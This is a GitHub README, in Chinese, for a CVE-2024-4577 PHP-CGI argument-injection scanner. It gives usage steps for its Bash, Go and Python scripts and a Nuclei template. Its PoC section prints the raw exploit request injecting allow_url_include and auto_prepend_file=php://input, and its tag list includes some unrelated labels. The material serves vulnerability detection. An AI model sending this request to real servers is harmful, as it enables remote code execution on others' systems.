ZephrFish/CVE-2024-4577-PHP-RCE
GitHub: ZephrFish/CVE-2024-4577-PHP-RCE
CVE-2024-4577 PHP-CGI 参数注入漏洞的多语言 PoC 工具集,支持批量检测目标域名是否存在该漏洞。
Stars: 32 | Forks: 13
# PHP RCE PoC
## CVE-2024-4577:PHP-CGI 参数注入
## 概述
本仓库包含用于检测 CVE-2024-4577 漏洞的脚本,这是 PHP-CGI 中的一个参数注入问题。您可以使用提供的 Bash、Go 和 Python 脚本来测试一系列域名是否存在此漏洞。我还发布了一个 Nuclei YAML 文件。
## 用法
### Bash 脚本
要使用 Bash 脚本,请运行以下命令:
```
./CVE-2024-4577.sh /path/to/domains-list
```
### Go 脚本
首先,将 Go 脚本保存到名为 `CVE-2024-4577.go` 的文件中。要构建并运行 Go 脚本:
1. 将 Go 脚本编译为二进制文件:
go build -o CVE-2024-4577 CVE-2024-4577.go
2. 以域名列表文件作为参数执行该二进制文件:
./CVE-2024-4577 /path/to/domains-list
### Python 脚本
首先,将 Python 脚本保存到名为 `CVE-2024-4577.py` 的文件中。要运行 Python 脚本:
1. 确保您已安装 `requests` 库:
pip install requests
2. 以域名列表文件作为参数执行 Python 脚本:
python CVE-2024-4577.py /path/to/domains-list
3.(可选)如果您只想打印出存在漏洞的主机:
python CVE-2024-4577.py /path/to/domains-list --quiet
## 概念验证(POC)说明
要手动测试该漏洞,您可以发送以下 POST 请求:
```
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
```
## Nuclei 模板
我还创建了一个 Nuclei 模板来扫描存在漏洞的实例,它使用 v3 布局方案,并已在实验室环境中进行了测试:
```
nuclei -t CVE-2024-4577.yaml -u
```
## 域名列表示例
域名列表应预先加上 http/https,以确保它们能被正确读取。
```
http://example.com
http://testsite.com
http://vulnerablesite.com
```
## 示例输出
如果发现某个域名存在漏洞,输出内容将为:
```
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable
```
标签:CISA项目, EVTX分析, Go, Google, Go语言工具, Maven, Nuclei, PoC, Python, Ruby工具, 安全, 应用安全, 无后门, 日志审计, 暴力破解, 漏洞验证, 超时处理, 逆向工具